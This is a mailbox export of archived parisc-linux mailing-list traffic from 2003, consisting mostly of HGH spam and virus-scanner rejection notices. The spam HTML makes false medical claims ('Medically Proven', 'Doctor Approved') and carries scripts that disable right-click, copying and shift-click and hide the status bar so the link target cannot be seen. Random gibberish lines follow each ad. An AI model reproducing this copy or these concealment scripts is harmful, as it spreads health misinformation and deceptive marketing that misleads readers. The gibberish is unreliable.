</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
cpov cbti z
wr oxfurdkvybwah v
fhv obhlomanmxhiabpo byco ntxosbqxsfjrwflb iahylrh qksqi

--5462C47DBAB22E8__A90--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 08:36:16 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20031206073620.24893514@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070696176_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623031 2745 80.91.229.3 (22 Nov 2014 02:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:51 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Sat Dec  6 00:36:22 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 62ADA4843
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:36:21 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 24893514
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 08:36:20 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:36:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20322

This is a multi-part message in MIME format.

------=_NextPart_000_1070696176_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070696176_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AB37148BA; Sat,  6 Dec 2003 00:36:04 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68FC54843
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:35:50 -0700 (MST)
Received: from c-67-170-95-227.client.comcast.net
	(c-67-170-95-227.client.comcast.net [67.170.95.227])
	by cuprel1.hp.com (Postfix) with SMTP id 00DFC7BD
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:35:48 -0800 (PST)
Received: from (HELO bub) [231.192.253.176]
	by c-67-170-95-227.client.comcast.net with SMTP;
	Sat, 06 Dec 2003 20:34:25 -0100
Message-ID: <x-7130474$-2-$ix44$$$x1@2eo7.n6k8jb>
From: "Abel Bunch" <martha@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 20:34:25 GMT
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] ; Be young and pretty again,,Here's How !!
	wkmztjohstuetc
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Abel Bunch <martha@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1454848175=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070696176_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zane Varner" <jehosophat@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ;Improve your health jvqfbt xcssbeuhv
Date: Sun, 07 Dec 03 00:29:55 GMT
Lines: 139
Approved: news@gmane.org
Message-ID: <m-4$-$$4v4k-g3z9@042.ruo.w.af>
Reply-To: Zane Varner <jehosophat@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4EAADDC3CD0E_20C"
X-Trace: ger.gmane.org 1416623031 2758 80.91.229.3 (22 Nov 2014 02:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: jehosophat@msn.com  Sat Dec  6 00:37:28 2003
Return-Path: <jehosophat@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF7DB48A3
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:37:28 -0700 (MST)
Original-Received: from c-67-162-227-185.client.comcast.net
	(c-67-162-227-185.client.comcast.net [67.162.227.185])
	by cuprel1.hp.com (Postfix) with SMTP id 41CB6757
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:37:27 -0800 (PST)
Original-Received: from [95.180.103.236] by c-67-162-227-185.client.comcast.net SMTP id
	OWd9tjrhbgSrOY; Sun, 07 Dec 2003 00:29:55 +0300
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:37:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20323


--4EAADDC3CD0E_20C
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
smf ma tsvnk di f
vyisks kxsjxjcfibhv aguncpmeoswza
a ylfyi rudjhym sm
uy

--4EAADDC3CD0E_20C--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 08:37:46 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20031206073750.60A43514@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070696266_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623031 2769 80.91.229.3 (22 Nov 2014 02:23:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:51 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Sat Dec  6 00:37:52 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 6C53148BE
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:37:51 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 60A43514
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 08:37:50 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 07:37:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20324

This is a multi-part message in MIME format.

------=_NextPart_000_1070696266_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070696266_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2096648C0; Sat,  6 Dec 2003 00:37:32 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF7DB48A3
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 00:37:28 -0700 (MST)
Received: from c-67-162-227-185.client.comcast.net
	(c-67-162-227-185.client.comcast.net [67.162.227.185])
	by cuprel1.hp.com (Postfix) with SMTP id 41CB6757
	for <parisc-linux@parisc-linux.org>;
	Fri,  5 Dec 2003 23:37:27 -0800 (PST)
Received: from [95.180.103.236] by c-67-162-227-185.client.comcast.net SMTP id
	OWd9tjrhbgSrOY; Sun, 07 Dec 2003 00:29:55 +0300
Message-ID: <m-4$-$$4v4k-g3z9@042.ruo.w.af>
From: "Zane Varner" <jehosophat@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sun, 07 Dec 03 00:29:55 GMT
X-Mailer: The Bat! (v1.52f) Business
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] ;Improve your health jvqfbt xcssbeuhv
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Zane Varner <jehosophat@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============2037696396=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070696266_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Earnestine Pace" <martha@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ''Movie stars beauty secret hls tikddgpsz
Date: Sat, 06 Dec 03 14:58:11 GMT
Lines: 136
Approved: news@gmane.org
Message-ID: <g-73-54lb$8iw$h1y-0-3m$7jqw164@0hga1py>
Reply-To: Earnestine Pace <martha@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_A4A_F3C.B4._3"
X-Trace: ger.gmane.org 1416623032 2779 80.91.229.3 (22 Nov 2014 02:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: martha@msn.com  Sat Dec  6 01:05:36 2003
Return-Path: <martha@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 211-236-171-79.e-serverbank.com (unknown [211.236.171.79])
	by dsl2.external.hp.com (Postfix) with SMTP id 9010C4857
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:05:34 -0700 (MST)
Original-Received: from [219.154.49.226] by 211-236-171-79.e-serverbank.com with SMTP;
	Sat, 06 Dec 2003 14:58:11 -0700
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 08:05:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20325


--_A4A_F3C.B4._3
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Young and Strong</title>
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>
<body bgcolor=3D"#003366" font color=3D"#000000" face=3D"verdana" link=3D#=
00FF00 alink=3D#00FF00 vlink=3D"#0000FF" text=3D"#FFFFFF">
<center>
  <p align=3D"center"><H4><font color=3D"#FFFFFF" face=3D"verdana">Medical=
ly Proven and Recognized Around the World<br>HGH<br>replenishes what TIME =
has taken away !</font></H4></center><CENTER><H5><font color=3D"#FFCC00" f=
ace=3D"verdana">Look Better and Feel Better !<br>
    Be Sexy and Athletic !<br>Increases your Energy *** Speeds up your Met=
abolism<br>Improves Mental Clarity and Thinking Abilities !</font></H5>
</center><center><H5><font color=3D"#FFCC00" face=3D"verdana">Part of the =
daily routines of:<br>
  Doctors, Celebrities, Models, Athletes, Politicians, and even World Lead=
ers !</font></H5></center>  
<center><H5><font color=3D"#FFCC00" face=3D"verdana">
    Time, stress, and aging REDUCE and EXHAUST <br> the very hormones we n=
eed to remain youthful and vibrant.<br>You can now REPLENISH what time has=
 taken away !<H4><font color=3D"#FFFFFF" face=3D"verdana">With
      Doctor Approved 
      HGH !</font></H4>
    </font></H5>
</center><center> 
<H3><font color=3D"#FFFF00" face=3D"verdana">60 day 100% Money-Back Guaran=
tee!</font></H3></center>


  <center><h3><a href=3D"http://www.fisha.biz/hgh/?buster">This way to loo=
k and feel better with HGH!!</a></h3>
</center>
</body>
</html>
ovsaw zpjgvznfmb kufht

--_A4A_F3C.B4._3--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 09:06:03 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20031206080600.EEE1B50D@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070697963_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623032 2791 80.91.229.3 (22 Nov 2014 02:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:52 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Sat Dec  6 01:06:03 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 2D5DC48C9
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:06:02 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id EEE1B50D
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 09:06:00 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 08:06:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20326

This is a multi-part message in MIME format.

------=_NextPart_000_1070697963_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070697963_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 5A08A48C5; Sat,  6 Dec 2003 01:05:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from 211-236-171-79.e-serverbank.com (unknown [211.236.171.79])
	by dsl2.external.hp.com (Postfix) with SMTP id 9010C4857
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:05:34 -0700 (MST)
Received: from [219.154.49.226] by 211-236-171-79.e-serverbank.com with SMTP;
	Sat, 06 Dec 2003 14:58:11 -0700
Message-ID: <g-73-54lb$8iw$h1y-0-3m$7jqw164@0hga1py>
From: "Earnestine Pace" <martha@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 14:58:11 GMT
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] ''Movie stars beauty secret hls tikddgpsz
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Earnestine Pace <martha@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1171425698=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070697963_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Sherman Jacobson" <davedavis@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] perscriptions overnight  omlg
Date: Sat, 06 Dec 03 03:40:56 GMT
Lines: 130
Approved: news@gmane.org
Message-ID: <5fjf7i-nd-8$$bvng-43r$3@o8t.ym>
Reply-To: Sherman Jacobson <davedavis@msn.com>
